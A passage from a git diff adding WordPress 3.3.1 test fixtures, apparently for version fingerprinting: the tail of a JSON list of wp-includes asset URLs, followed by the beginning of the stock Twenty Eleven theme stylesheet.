"../wp-includes/images/blank.gif", "ignoreQuery" : true } +{ "url" : "../wp-includes/images/upload.png", "ignoreQuery" : true } +{ "url" : "../wp-includes/js/thickbox/loadingAnimation.gif", "ignoreQuery" : true } +{ "url" : "../wp-includes/js/thickbox/tb-close.png", "ignoreQuery" : true } +{ "url" : "../wp-includes/js/tinymce/wp-tinymce.php", "src" : "../wp-includes/js/tinymce/wp-tinymce.php?ver=345-20111127", "ignoreQuery" : true }, +{ "url" : "../wp-includes/js/tinymce/tiny_mce.js", "src" : "../wp-includes/js/tinymce/tiny_mce.js?ver=345-20111127", "ignoreQuery" : true }, +{ "url" : "../wp-includes/js/tinymce/langs/wp-langs-en.js", "src" : "../wp-includes/js/tinymce/langs/wp-langs-en.js?ver=345-20111127", "ignoreQuery" : true }, +{ "url" : "../wp-includes/js/tinymce/utils/mctabs.js", "src" : "../wp-includes/js/tinymce/utils/mctabs.js?ver=345-20111127", "ignoreQuery" : true }, +{ "url" : "../wp-includes/js/tinymce/utils/validate.js", "src" : "../wp-includes/js/tinymce/utils/validate.js?ver=345-20111127", "ignoreQuery" : true }, +{ "url" : "../wp-includes/js/tinymce/utils/form_utils.js", "src" : "../wp-includes/js/tinymce/utils/form_utils.js?ver=345-20111127", "ignoreQuery" : true }, +{ "url" : "../wp-includes/js/tinymce/utils/editable_selects.js", "src" : "../wp-includes/js/tinymce/utils/editable_selects.js?ver=345-20111127", "ignoreQuery" : true }, +{ "url" : "../wp-includes/js/tinymce/tiny_mce_popup.js", "src" : "../wp-includes/js/tinymce/tiny_mce_popup.js?ver=345-20111127", "ignoreQuery" : true }, +{ "url" : "../wp-includes/js/tinymce/themes/advanced/editor_template.js", "src" : "../wp-includes/js/tinymce/themes/advanced/editor_template.js?ver=345-20111127", "ignoreQuery" : true }, +{ "url" : "../wp-includes/js/tinymce/themes/advanced/source_editor.htm", "src" : "../wp-includes/js/tinymce/themes/advanced/source_editor.htm?ver=345-20111127", "ignoreQuery" : true }, +{ "url" : "../wp-includes/js/tinymce/themes/advanced/anchor.htm", "src" : "../wp-includes/js/tinymce/themes/advanced/anchor.htm?ver=345-20111127", "ignoreQuery" : true }, +{ "url" : "../wp-includes/js/tinymce/themes/advanced/image.htm", "src" : "../wp-includes/js/tinymce/themes/advanced/image.htm?ver=345-20111127", "ignoreQuery" : true }, +{ "url" : "../wp-includes/js/tinymce/themes/advanced/link.htm", "src" : "../wp-includes/js/tinymce/themes/advanced/link.htm?ver=345-20111127", "ignoreQuery" : true }, +{ "url" : "../wp-includes/js/tinymce/themes/advanced/color_picker.htm", "src" : "../wp-includes/js/tinymce/themes/advanced/color_picker.htm?ver=345-20111127", "ignoreQuery" : true }, +{ "url" : "../wp-includes/js/tinymce/themes/advanced/charmap.htm", "src" : "../wp-includes/js/tinymce/themes/advanced/charmap.htm?ver=345-20111127", "ignoreQuery" : true }, +{ "url" : "../wp-includes/js/tinymce/themes/advanced/js/color_picker.js", "src" : "../wp-includes/js/tinymce/themes/advanced/js/color_picker.js?ver=345-20111127", "ignoreQuery" : true }, +{ "url" : "../wp-includes/js/tinymce/themes/advanced/js/charmap.js", "src" : "../wp-includes/js/tinymce/themes/advanced/js/charmap.js?ver=345-20111127", "ignoreQuery" : true }, +{ "url" : "../wp-includes/js/tinymce/themes/advanced/js/image.js", "src" : "../wp-includes/js/tinymce/themes/advanced/js/image.js?ver=345-20111127", "ignoreQuery" : true }, +{ "url" : "../wp-includes/js/tinymce/themes/advanced/js/link.js", "src" : "../wp-includes/js/tinymce/themes/advanced/js/link.js?ver=345-20111127", "ignoreQuery" : true }, +{ "url" : "../wp-includes/js/tinymce/themes/advanced/js/source_editor.js", "src" : "../wp-includes/js/tinymce/themes/advanced/js/source_editor.js?ver=345-20111127", "ignoreQuery" : true }, +{ "url" : "../wp-includes/js/tinymce/themes/advanced/js/anchor.js", "src" : "../wp-includes/js/tinymce/themes/advanced/js/anchor.js?ver=345-20111127", "ignoreQuery" : true }, +{ "url" : "../wp-includes/js/tinymce/themes/advanced/skins/wp_theme/ui.css", "src" : "../wp-includes/js/tinymce/themes/advanced/skins/wp_theme/ui.css?ver=345-20111127", "ignoreQuery" : true }, +{ "url" : "../wp-includes/js/tinymce/themes/advanced/skins/wp_theme/content.css", "src" : "../wp-includes/js/tinymce/themes/advanced/skins/wp_theme/content.css?ver=345-20111127", "ignoreQuery" : true }, +{ "url" : "../wp-includes/js/tinymce/themes/advanced/skins/wp_theme/dialog.css", "src" : "../wp-includes/js/tinymce/themes/advanced/skins/wp_theme/dialog.css?ver=345-20111127", "ignoreQuery" : true }, +{ "url" : "../wp-includes/js/tinymce/plugins/fullscreen/editor_plugin.js", "src" : "../wp-includes/js/tinymce/plugins/fullscreen/editor_plugin.js?ver=345-20111127", "ignoreQuery" : true }, +{ "url" : "../wp-includes/js/tinymce/plugins/fullscreen/fullscreen.htm", "src" : "../wp-includes/js/tinymce/plugins/fullscreen/fullscreen.htm?ver=345-20111127", "ignoreQuery" : true }, +{ "url" : "../wp-includes/js/tinymce/plugins/inlinepopups/editor_plugin.js", "src" : "../wp-includes/js/tinymce/plugins/inlinepopups/editor_plugin.js?ver=345-20111127", "ignoreQuery" : true }, +{ "url" : "../wp-includes/js/tinymce/plugins/inlinepopups/template.htm", "src" : "../wp-includes/js/tinymce/plugins/inlinepopups/template.htm?ver=345-20111127", "ignoreQuery" : true }, +{ "url" : "../wp-includes/js/tinymce/plugins/inlinepopups/skins/clearlooks2/window.css", "src" : "../wp-includes/js/tinymce/plugins/inlinepopups/skins/clearlooks2/window.css?ver=345-20111127", "ignoreQuery" : true }, +{ "url" : "../wp-includes/js/tinymce/plugins/media/editor_plugin.js", "src" : "../wp-includes/js/tinymce/plugins/media/editor_plugin.js?ver=345-20111127", "ignoreQuery" : true }, +{ "url" : "../wp-includes/js/tinymce/plugins/media/js/media.js", "src" : "../wp-includes/js/tinymce/plugins/media/js/media.js?ver=345-20111127", "ignoreQuery" : true }, +{ "url" : "../wp-includes/js/tinymce/plugins/media/media.htm", "src" : "../wp-includes/js/tinymce/plugins/media/media.htm?ver=345-20111127", "ignoreQuery" : true }, +{ "url" : "../wp-includes/js/tinymce/plugins/media/css/content.css", "src" : "../wp-includes/js/tinymce/plugins/media/css/content.css?ver=345-20111127", "ignoreQuery" : true }, +{ "url" : "../wp-includes/js/tinymce/plugins/media/css/media.css", "src" : "../wp-includes/js/tinymce/plugins/media/css/media.css?ver=345-20111127", "ignoreQuery" : true }, +{ "url" : "../wp-includes/js/tinymce/plugins/paste/editor_plugin.js", "src" : "../wp-includes/js/tinymce/plugins/paste/editor_plugin.js?ver=345-20111127", "ignoreQuery" : true }, +{ "url" : "../wp-includes/js/tinymce/plugins/paste/js/pasteword.js", "src" : "../wp-includes/js/tinymce/plugins/paste/js/pasteword.js?ver=345-20111127", "ignoreQuery" : true }, +{ "url" : "../wp-includes/js/tinymce/plugins/paste/js/pastetext.js", "src" : "../wp-includes/js/tinymce/plugins/paste/js/pastetext.js?ver=345-20111127", "ignoreQuery" : true }, +{ "url" : "../wp-includes/js/tinymce/plugins/paste/pasteword.htm", "src" : "../wp-includes/js/tinymce/plugins/paste/pasteword.htm?ver=345-20111127", "ignoreQuery" : true }, +{ "url" : "../wp-includes/js/tinymce/plugins/paste/blank.htm", "src" : "../wp-includes/js/tinymce/plugins/paste/blank.htm?ver=345-20111127", "ignoreQuery" : true }, +{ "url" : "../wp-includes/js/tinymce/plugins/paste/pastetext.htm", "src" : "../wp-includes/js/tinymce/plugins/paste/pastetext.htm?ver=345-20111127", "ignoreQuery" : true }, +{ "url" : "../wp-includes/js/tinymce/plugins/safari/editor_plugin.js", "src" : "../wp-includes/js/tinymce/plugins/safari/editor_plugin.js?ver=345-20111127", "ignoreQuery" : true }, +{ "url" : "../wp-includes/js/tinymce/plugins/spellchecker/editor_plugin.js", "src" : "../wp-includes/js/tinymce/plugins/spellchecker/editor_plugin.js?ver=345-20111127", "ignoreQuery" : true }, +{ "url" : "../wp-includes/js/tinymce/plugins/spellchecker/css/content.css", "src" : "../wp-includes/js/tinymce/plugins/spellchecker/css/content.css?ver=345-20111127", "ignoreQuery" : true }, +{ "url" : "../wp-includes/js/tinymce/plugins/tabfocus/editor_plugin.js", "src" : "../wp-includes/js/tinymce/plugins/tabfocus/editor_plugin.js?ver=345-20111127", "ignoreQuery" : true }, +{ "url" : "../wp-includes/js/tinymce/plugins/wordpress/editor_plugin.js", "src" : "../wp-includes/js/tinymce/plugins/wordpress/editor_plugin.js?ver=345-20111127", "ignoreQuery" : true }, +{ "url" : "../wp-includes/js/tinymce/plugins/wordpress/css/content.css", "src" : "../wp-includes/js/tinymce/plugins/wordpress/css/content.css?ver=345-20111127", "ignoreQuery" : true }, +{ "url" : "../wp-includes/js/tinymce/plugins/wpeditimage/editor_plugin.js", "src" : "../wp-includes/js/tinymce/plugins/wpeditimage/editor_plugin.js?ver=345-20111127", "ignoreQuery" : true }, +{ "url" : "../wp-includes/js/tinymce/plugins/wpeditimage/editimage.html", "src" : "../wp-includes/js/tinymce/plugins/wpeditimage/editimage.html?ver=345-20111127", "ignoreQuery" : true }, +{ "url" : "../wp-includes/js/tinymce/plugins/wpeditimage/js/editimage.js", "src" : "../wp-includes/js/tinymce/plugins/wpeditimage/js/editimage.js?ver=345-20111127", "ignoreQuery" : true }, +{ "url" : "../wp-includes/js/tinymce/plugins/wpeditimage/css/editimage.css", "src" : "../wp-includes/js/tinymce/plugins/wpeditimage/css/editimage.css?ver=345-20111127", "ignoreQuery" : true }, +{ "url" : "../wp-includes/js/tinymce/plugins/wpeditimage/css/editimage-rtl.css", "src" : "../wp-includes/js/tinymce/plugins/wpeditimage/css/editimage-rtl.css?ver=345-20111127", "ignoreQuery" : true }, +{ "url" : "../wp-includes/js/tinymce/plugins/wpgallery/editor_plugin.js", "src" : "../wp-includes/js/tinymce/plugins/wpgallery/editor_plugin.js?ver=345-20111127", "ignoreQuery" : true }, +{ "url" : "../wp-includes/js/tinymce/themes/advanced/img/icons.gif", "ignoreQuery" : true } +{ "url" : "../wp-includes/js/tinymce/themes/advanced/img/colorpicker.jpg", "ignoreQuery" : true } +{ "url" : "../wp-includes/js/tinymce/themes/advanced/img/fm.gif", "ignoreQuery" : true } +{ "url" : "../wp-includes/js/tinymce/themes/advanced/img/gotmoxie.png", "ignoreQuery" : true } +{ "url" : "../wp-includes/js/tinymce/themes/advanced/img/sflogo.png", "ignoreQuery" : true } +{ "url" : "../wp-includes/js/tinymce/themes/advanced/skins/wp_theme/img/fade-butt.png", "ignoreQuery" : true } +{ "url" : "../wp-includes/js/tinymce/themes/advanced/skins/wp_theme/img/tabs.gif", "ignoreQuery" : true } +{ "url" : "../wp-includes/images/down_arrow.gif", "ignoreQuery" : true } +{ "url" : "../wp-includes/js/tinymce/themes/advanced/skins/default/img/progress.gif", "ignoreQuery" : true } +{ "url" : "../wp-includes/js/tinymce/themes/advanced/skins/default/img/menu_check.gif", "ignoreQuery" : true } +{ "url" : "../wp-includes/js/tinymce/themes/advanced/skins/default/img/menu_arrow.gif", "ignoreQuery" : true } +{ "url" : "../wp-includes/js/tinymce/plugins/inlinepopups/skins/clearlooks2/img/drag.gif", "ignoreQuery" : true } +{ "url" : "../wp-includes/js/tinymce/plugins/inlinepopups/skins/clearlooks2/img/corners.gif", "ignoreQuery" : true } +{ "url" : "../wp-includes/js/tinymce/plugins/inlinepopups/skins/clearlooks2/img/buttons.gif", "ignoreQuery" : true } +{ "url" : "../wp-includes/js/tinymce/plugins/inlinepopups/skins/clearlooks2/img/horizontal.gif", "ignoreQuery" : true } +{ "url" : "../wp-includes/js/tinymce/plugins/inlinepopups/skins/clearlooks2/img/alert.gif", "ignoreQuery" : true } +{ "url" : "../wp-includes/js/tinymce/plugins/inlinepopups/skins/clearlooks2/img/button.gif", "ignoreQuery" : true } +{ "url" : "../wp-includes/js/tinymce/plugins/inlinepopups/skins/clearlooks2/img/confirm.gif", "ignoreQuery" : true } +{ "url" : "../wp-includes/js/tinymce/plugins/inlinepopups/skins/clearlooks2/img/vertical.gif", "ignoreQuery" : true } +{ "url" : "../wp-includes/js/tinymce/plugins/media/img/flash.gif", "ignoreQuery" : true } +{ "url" : "../wp-includes/js/tinymce/plugins/media/img/quicktime.gif", "ignoreQuery" : true } +{ "url" : "../wp-includes/js/tinymce/plugins/media/img/realmedia.gif", "ignoreQuery" : true } +{ "url" : "../wp-includes/js/tinymce/plugins/media/img/shockwave.gif", "ignoreQuery" : true } +{ "url" : "../wp-includes/js/tinymce/plugins/media/img/windowsmedia.gif", "ignoreQuery" : true } +{ "url" : "../wp-includes/js/tinymce/plugins/media/img/trans.gif", "ignoreQuery" : true } +{ "url" : "../wp-includes/js/tinymce/plugins/spellchecker/img/wline.gif", "ignoreQuery" : true } +{ "url" : "../wp-includes/js/tinymce/plugins/wordpress/img/more.gif", "ignoreQuery" : true } +{ "url" : "../wp-includes/js/tinymce/plugins/wordpress/img/more_bug.gif", "ignoreQuery" : true } +{ "url" : "../wp-includes/js/tinymce/plugins/wordpress/img/page.gif", "ignoreQuery" : true } +{ "url" : "../wp-includes/js/tinymce/plugins/wordpress/img/page_bug.gif", "ignoreQuery" : true } +{ "url" : "../wp-includes/js/tinymce/plugins/wordpress/img/toolbars.gif", "ignoreQuery" : true } +{ "url" : "../wp-includes/js/tinymce/plugins/wordpress/img/help.gif", "ignoreQuery" : true } +{ "url" : "../wp-includes/js/tinymce/plugins/wordpress/img/image.gif", "ignoreQuery" : true } +{ "url" : "../wp-includes/js/tinymce/plugins/wordpress/img/media.gif", "ignoreQuery" : true } +{ "url" : "../wp-includes/js/tinymce/plugins/wordpress/img/video.gif", "ignoreQuery" : true } +{ "url" : "../wp-includes/js/tinymce/plugins/wordpress/img/audio.gif", "ignoreQuery" : true } +{ "url" : "../wp-includes/js/tinymce/plugins/wpeditimage/img/image.png", "ignoreQuery" : true } +{ "url" : "../wp-includes/js/tinymce/plugins/wpeditimage/img/delete.png", "ignoreQuery" : true } +{ "url" : "../wp-includes/js/tinymce/plugins/wpgallery/img/delete.png", "ignoreQuery" : true } +{ "url" : "../wp-includes/js/tinymce/plugins/wpgallery/img/edit.png", "ignoreQuery" : true } +{ "url" : "../wp-includes/js/tinymce/plugins/wpgallery/img/gallery.png", "ignoreQuery" : true } +]} diff --git a/spec/fixtures/wp_versions/3.3.1/wp-content/themes/twentyeleven/style.css b/spec/fixtures/wp_versions/3.3.1/wp-content/themes/twentyeleven/style.css new file mode 100755 index 00000000..40979239 --- /dev/null +++ b/spec/fixtures/wp_versions/3.3.1/wp-content/themes/twentyeleven/style.css @@ -0,0 +1,2679 @@ +/* +Theme Name: Twenty Eleven +Theme URI: http://wordpress.org/extend/themes/twentyeleven +Author: the WordPress team +Author URI: http://wordpress.org/ +Description: The 2011 theme for WordPress is sophisticated, lightweight, and adaptable. Make it yours with a custom menu, header image, and background -- then go further with available theme options for light or dark color scheme, custom link colors, and three layout choices. Twenty Eleven comes equipped with a Showcase page template that transforms your front page into a showcase to show off your best content, widget support galore (sidebar, three footer areas, and a Showcase page widget area), and a custom "Ephemera" widget to display your Aside, Link, Quote, or Status posts. Included are styles for print and for the admin editor, support for featured images (as custom header images on posts and pages and as large images on featured "sticky" posts), and special styles for six different post formats. +Version: 1.3 +License: GNU General Public License +License URI: license.txt +Tags: dark, light, white, black, gray, one-column, two-columns, left-sidebar, right-sidebar, fixed-width, flexible-width, custom-background, custom-colors, custom-header, custom-menu, editor-style, featured-image-header, featured-images, full-width-template, microformats, post-formats, rtl-language-support, sticky-post, theme-options, translation-ready +*/ + +/* =Reset default browser CSS. Based on work by Eric Meyer: http://meyerweb.com/eric/tools/css/reset/index.html +-------------------------------------------------------------- */ + +html, body, div, span, applet, object, iframe, +h1, h2, h3, h4, h5, h6, p, blockquote, pre, +a, abbr, acronym, address, big, cite, code, +del, dfn, em, font, ins, kbd, q, s, samp, +small, strike, strong, sub, sup, tt, var, +dl, dt, dd, ol, ul, li, +fieldset, form, label, legend, +table, caption, tbody, tfoot, thead, tr, th, td { + border: 0; + font-family: inherit; + font-size: 100%; + font-style: inherit; + font-weight: inherit; + margin: 0; + outline: 0; + padding: 0; + vertical-align: baseline; +} +:focus {/* remember to define focus styles! */ + outline: 0; +} +body { + background: #fff; + line-height: 1; +} +ol, ul { + list-style: none; +} +table {/* tables still need 'cellspacing="0"' in the markup */ + border-collapse: separate; + border-spacing: 0; +} +caption, th, td { + font-weight: normal; + text-align: left; +} +blockquote:before, blockquote:after, +q:before, q:after { + content: ""; +} +blockquote, q { + quotes: "" ""; +} +a img { + border: 0; +} +article, aside, details, figcaption, figure, +footer, header, hgroup, menu, nav, section { + display: block; +} + + +/* =Structure +----------------------------------------------- */ + +body { + padding: 0 2em; +} +#page { + margin: 2em auto; + max-width: 1000px; +} +#branding hgroup { + margin: 0 7.6%; +} +#access div { + margin: 0 7.6%; +} +#primary { + float: left; + margin: 0 -26.4% 0 0; + width: 100%; +} +#content { + margin: 0 34% 0 7.6%; + width: 58.4%; +} +#secondary { + float: right; + margin-right: 7.6%; + width: 18.8%; +} + +/* Singular */ +.singular #primary { + margin: 0; +} +.singular #content, +.left-sidebar.singular #content { + margin: 0 7.6%; + position: relative; + width: auto; +} +.singular .entry-header, +.singular .entry-content, +.singular footer.entry-meta, +.singular #comments-title { + margin: 0 auto; + width: 68.9%; +} + +/* Attachments */ +.singular .image-attachment .entry-content { + margin: 0 auto; + width: auto; +} +.singular .image-attachment .entry-description { + margin: 0 auto; + width: 68.9%; +} + +/* Showcase */ +.page-template-showcase-php #primary, +.left-sidebar.page-template-showcase-php #primary { + margin: 0; +} +.page-template-showcase-php #content, +.left-sidebar.page-template-showcase-php #content { + margin: 0 7.6%; + width: auto; +} +.page-template-showcase-php section.recent-posts { + float: right; + margin: 0 0 0 31%; + width: 69%; +} +.page-template-showcase-php #main .widget-area { + float: left; + margin: 0 -22.15% 0 0; + width: 22.15%; +} + +/* error404 */ +.error404 #primary { + float: none; + margin: 0; +} +.error404 #primary #content { + margin: 0 7.6%; + width: auto; +} + +/* Alignment */ +.alignleft { + display: inline; + float: left; + margin-right: 1.625em; +} +.alignright { + display: inline; + float: right; + margin-left: 1.625em; +} +.aligncenter { + clear: both; + display: block; + margin-left: auto; + margin-right: auto; +} + +/* Right Content */ +.left-sidebar #primary { + float: right; + margin: 0 0 0 -26.4%; + width: 100%; +} +.left-sidebar #content { + margin: 0 7.6% 0 34%; + width: 58.4%; +} +.left-sidebar #secondary { + float: left; + margin-left: 7.6%; + margin-right: 0; + width: 18.8%; +} + +/* One column */ +.one-column #page { + max-width: 690px; +} +.one-column #content { + margin: 0 7.6%; + width: auto; +} +.one-column #nav-below { + border-bottom: 1px solid #ddd; + margin-bottom: 1.625em; +} +.one-column #secondary { + float: none; + margin: 0 7.6%; + width: auto; +} +/* Simplify the showcase template */ +.one-column .page-template-showcase-php section.recent-posts { + float: none; + margin: 0; + width: 100%; +} +.one-column .page-template-showcase-php #main .widget-area { + float: none; + margin: 0; + width: auto; +} +.one-column .page-template-showcase-php .other-recent-posts { + border-bottom: 1px solid #ddd; +} +/* Simplify the showcase template when small feature */ +.one-column section.featured-post .attachment-small-feature { + border: none; + display: block; + height: auto; + max-width: 60%; + position: static; +} +.one-column article.feature-image.small { + margin: 0 0 1.625em; + padding: 0; +} +.one-column article.feature-image.small .entry-title { + font-size: 20px; + line-height: 1.3em; +} +.one-column article.feature-image.small .entry-summary { + height: 150px; + overflow: hidden; + padding: 0; + text-overflow: ellipsis; +} +.one-column article.feature-image.small .entry-summary a { + left: -9%; +} +/* Remove the margin on singular articles */ +.one-column.singular .entry-header, +.one-column.singular .entry-content, +.one-column.singular footer.entry-meta, +.one-column.singular #comments-title { + width: 100%; +} +/* Simplify the pullquotes and pull styles */ +.one-column.singular blockquote.pull { + margin: 0 0 1.625em; +} +.one-column.singular .pull.alignleft { + margin: 0 1.625em 0 0; +} +.one-column.singular .pull.alignright { + margin: 0 0 0 1.625em; +} +.one-column.singular .entry-meta .edit-link a { + position: absolute; + left: 0; + top: 40px; +} +.one-column.singular #author-info { + margin: 2.2em -8.8% 0; + padding: 20px 8.8%; +} +/* Make sure we have room for our comment avatars */ +.one-column .commentlist > li.comment { + margin-left: 102px; + width: auto; +} +/* Make sure the logo and search form don't collide */ +.one-column #branding #searchform { + right: 40px; + top: 4em; +} +/* Talking avatars take up too much room at this size */ +.one-column .commentlist > li.comment { + margin-left: 0; +} +.one-column .commentlist > li.comment .comment-meta, +.one-column .commentlist > li.comment .comment-content { + margin-right: 85px; +} +.one-column .commentlist .avatar { + background: transparent; + display: block; + padding: 0; + top: 1.625em; + left: auto; + right: 1.625em; +} +.one-column .commentlist .children .avatar { + background: none; + padding: 0; + position: absolute; + top: 2.2em; + left: 2.2em; +} +.one-column #respond { + width: auto; +} + + +/* =Global +----------------------------------------------- */ + +body, input, textarea { + color: #373737; + font: 15px "Helvetica Neue", Helvetica, Arial, sans-serif; + font-weight: 300; + line-height: 1.625; +} +body { + background: #e2e2e2; +} +#page { + background: #fff; +} + +/* Headings */ +h1,h2,h3,h4,h5,h6 { + clear: both; +} +hr { + background-color: #ccc; + border: 0; + height: 1px; + margin-bottom: 1.625em; +} + +/* Text elements */ +p { + margin-bottom: 1.625em; +} +ul, ol { + margin: 0 0 1.625em 2.5em; +} +ul { + list-style: square; +} +ol { + list-style-type: decimal; +} +ol ol { + list-style: upper-alpha; +} +ol ol ol { + list-style: lower-roman; +} +ol ol ol ol { + list-style: lower-alpha; +} +ul ul, ol ol, ul ol, ol ul { + margin-bottom: 0; +} +dl { + margin: 0 1.625em; +} +dt { + font-weight: bold; +} +dd { + margin-bottom: 1.625em; +} +strong { + font-weight: bold; +} +cite, em, i { + font-style: italic; +} +blockquote { + font-family: Georgia, "Bitstream Charter", serif; + font-style: italic; + font-weight: normal; + margin: 0 3em; +} +blockquote em, blockquote i, blockquote cite { + font-style: normal; +} +blockquote cite { + color: #666; + font: 12px "Helvetica Neue", Helvetica, Arial, sans-serif; + font-weight: 300; + letter-spacing: 0.05em; + text-transform: uppercase; +} +pre { + background: #f4f4f4; + font: 13px "Courier 10 Pitch", Courier, monospace; + line-height: 1.5; + margin-bottom: 1.625em; + overflow: auto; + padding: 0.75em 1.625em; +} +code, kbd { + font: 13px Monaco, Consolas, "Andale Mono", "DejaVu Sans Mono", monospace; +} +abbr, acronym, dfn { + border-bottom: 1px dotted #666; + cursor: help; +} +address { + display: block; + margin: 0 0 1.625em; +} +ins { + background: #fff9c0; + text-decoration: none; +} +sup, +sub { + font-size: 10px; + height: 0; + line-height: 1; + position: relative; + vertical-align: baseline; +} +sup { + bottom: 1ex; +} +sub { + top: .5ex; +} + +/* Forms */ +input[type=text], +input[type=password], +textarea { + background: #fafafa; + -moz-box-shadow: inset 0 1px 1px rgba(0,0,0,0.1); + -webkit-box-shadow: inset 0 1px 1px rgba(0,0,0,0.1); + box-shadow: inset 0 1px 1px rgba(0,0,0,0.1); + border: 1px solid #ddd; + color: #888; +} +input[type=text]:focus, +textarea:focus { + color: #373737; +} +textarea { + padding-left: 3px; + width: 98%; +} +input[type=text] { + padding: 3px; +} +input#s { + background: url(images/search.png) no-repeat 5px 6px; + -moz-border-radius: 2px; + border-radius: 2px; + font-size: 14px; + height: 22px; + line-height: 1.2em; + padding: 4px 10px 4px 28px; +} +input#searchsubmit { + display: none; +} + +/* Links */ +a { + color: #1982d1; + text-decoration: none; +} +a:focus, +a:active, +a:hover { + text-decoration: underline; +} + +/* Assistive text */ +.assistive-text { + position: absolute !important; + clip: rect(1px 1px 1px 1px); /* IE6, IE7 */ + clip: rect(1px, 1px, 1px, 1px); +} +#access a.assistive-text:active, +#access a.assistive-text:focus { + background: #eee; + border-bottom: 1px solid #ddd; + color: #1982d1; + clip: auto !important; + font-size: 12px; + position: absolute; + text-decoration: underline; + top: 0; + left: 7.6%; +} + + +/* =Header +----------------------------------------------- */ + +#branding { + border-top: 2px solid #bbb; + padding-bottom: 10px; + position: relative; + z-index: 9999; +} +#site-title { + margin-right: 270px; + padding: 3.65625em 0 0; +} +#site-title a { + color: #111; + font-size: 30px; + font-weight: bold; + line-height: 36px; + text-decoration: none; +} +#site-title a:hover, +#site-title a:focus, +#site-title a:active { + color: #1982d1; +} +#site-description { + color: #7a7a7a; + font-size: 14px; + margin: 0 270px 3.65625em 0; +} +#branding img { + height: auto; + margin-bottom: -7px; + width: 100%; +} + + +/* =Menu +-------------------------------------------------------------- */ + +#access { + background: #222; /* Show a solid color for older browsers */ + background: -moz-linear-gradient(#252525, #0a0a0a); + background: -o-linear-gradient(#252525, #0a0a0a); + background: -webkit-gradient(linear, 0% 0%, 0% 100%, from(#252525), to(#0a0a0a)); /* older webkit syntax */ + background: -webkit-linear-gradient(#252525, #0a0a0a); + -webkit-box-shadow: rgba(0, 0, 0, 0.4) 0px 1px 2px; + -moz-box-shadow: rgba(0, 0, 0, 0.4) 0px 1px 2px; + box-shadow: rgba(0, 0, 0, 0.4) 0px 1px 2px; + clear: both; + display: block; + float: left; + margin: 0 auto 6px; + width: 100%; +} +#access ul { + font-size: 13px; + list-style: none; + margin: 0 0 0 -0.8125em; + padding-left: 0; +} +#access li { + float: left; + position: relative; +} +#access a { + color: #eee; + display: block; + line-height: 3.333em; + padding: 0 1.2125em; + text-decoration: none; +} +#access ul ul { + -moz-box-shadow: 0 3px 3px rgba(0,0,0,0.2); + -webkit-box-shadow: 0 3px 3px rgba(0,0,0,0.2); + box-shadow: 0 3px 3px rgba(0,0,0,0.2); + display: none; + float: left; + margin: 0; + position: absolute; + top: 3.333em; + left: 0; + width: 188px; + z-index: 99999; +} +#access ul ul ul { + left: 100%; + top: 0; +} +#access ul ul a { + background: #f9f9f9; + border-bottom: 1px dotted #ddd; + color: #444; + font-size: 13px; + font-weight: normal; + height: auto; + line-height: 1.4em; + padding: 10px 10px; + width: 168px; +} +#access li:hover > a, +#access ul ul :hover > a, +#access a:focus { + background: #efefef; +} +#access li:hover > a, +#access a:focus { + background: #f9f9f9; /* Show a solid color for older browsers */ + background: -moz-linear-gradient(#f9f9f9, #e5e5e5); + background: -o-linear-gradient(#f9f9f9, #e5e5e5); + background: -webkit-gradient(linear, 0% 0%, 0% 100%, from(#f9f9f9), to(#e5e5e5)); /* Older webkit syntax */ + background: -webkit-linear-gradient(#f9f9f9, #e5e5e5); + color: #373737; +} +#access ul li:hover > ul { + display: block; +} +#access .current-menu-item > a, +#access .current-menu-ancestor > a, +#access .current_page_item > a, +#access .current_page_ancestor > a { + font-weight: bold; +} + +/* Search Form */ +#branding #searchform { + position: absolute; + top: 3.8em; + right: 7.6%; + text-align: right; +} +#branding #searchform div { + margin: 0; +} +#branding #s { + float: right; + -webkit-transition-duration: 400ms; + -webkit-transition-property: width, background; + -webkit-transition-timing-function: ease; + -moz-transition-duration: 400ms; + -moz-transition-property: width, background; + -moz-transition-timing-function: ease; + -o-transition-duration: 400ms; + -o-transition-property: width, background; + -o-transition-timing-function: ease; + width: 72px; +} +#branding #s:focus { + background-color: #f9f9f9; + width: 196px; +} +#branding #searchsubmit { + display: none; +} +#branding .only-search #searchform { + top: 5px; + z-index: 1; +} +#branding .only-search #s { + background-color: #666; + border-color: #000; + color: #222; +} +#branding .only-search #s, +#branding .only-search #s:focus { + width: 85%; +} +#branding .only-search #s:focus { + background-color: #bbb; +} +#branding .with-image #searchform { + top: auto; + bottom: -27px; + max-width: 195px; +} +#branding .only-search + #access div { + padding-right: 205px; +} + + +/* =Content +----------------------------------------------- */ + +#main { + clear: both; + padding: 1.625em 0 0; +} +.page-title { + color: #666; + font-size: 10px; + font-weight: 500; + letter-spacing: 0.1em; + line-height: 2.6em; + margin: 0 0 2.6em; + text-transform: uppercase; +} +.page-title a { + font-size: 12px; + font-weight: bold; + letter-spacing: 0; + text-transform: none; +} +.hentry, +.no-results { + border-bottom: 1px solid #ddd; + margin: 0 0 1.625em; + padding: 0 0 1.625em; + position: relative; +} +.hentry:last-child, +.no-results { + border-bottom: none; +} +.blog .sticky .entry-header .entry-meta { + clip: rect(1px 1px 1px 1px); /* IE6, IE7 */ + clip: rect(1px, 1px, 1px, 1px); + position: absolute !important; +} +.entry-title, +.entry-header .entry-meta { + padding-right: 76px; +} +.entry-title { + clear: both; + color: #222; + font-size: 26px; + font-weight: bold; + line-height: 1.5em; + padding-bottom: .3em; + padding-top: 15px; +} +.entry-title, +.entry-title a { + color: #222; + text-decoration: none; +} +.entry-title a:hover, +.entry-title a:focus, +.entry-title a:active { + color: #1982d1; +} +.entry-meta { + color: #666; + clear: both; + font-size: 12px; + line-height: 18px; +} +.entry-meta a { + font-weight: bold; +} +.single-author .entry-meta .by-author { + display: none; +} +.entry-content, +.entry-summary { + padding: 1.625em 0 0; +} +.entry-content h1, +.entry-content h2, +.comment-content h1, +.comment-content h2 { + color: #000; + font-weight: bold; + margin: 0 0 .8125em; +} +.entry-content h3, +.comment-content h3 { + font-size: 10px; + letter-spacing: 0.1em; + line-height: 2.6em; + text-transform: uppercase; +} +.entry-content table, +.comment-content table { + border-bottom: 1px solid #ddd; + margin: 0 0 1.625em; + width: 100%; +} +.entry-content th, +.comment-content th { + color: #666; + font-size: 10px; + font-weight: 500; + letter-spacing: 0.1em; + line-height: 2.6em; + text-transform: uppercase; +} +.entry-content td, +.comment-content td { + border-top: 1px solid #ddd; + padding: 6px 10px 6px 0; +} +.entry-content #s { + width: 75%; +} +.comment-content ul, +.comment-content ol { + margin-bottom: 1.625em; +} +.comment-content ul ul, +.comment-content ol ol, +.comment-content ul ol, +.comment-content ol ul { + margin-bottom: 0; +} +dl.gallery-item { + margin: 0; +} +.page-link { + clear: both; + 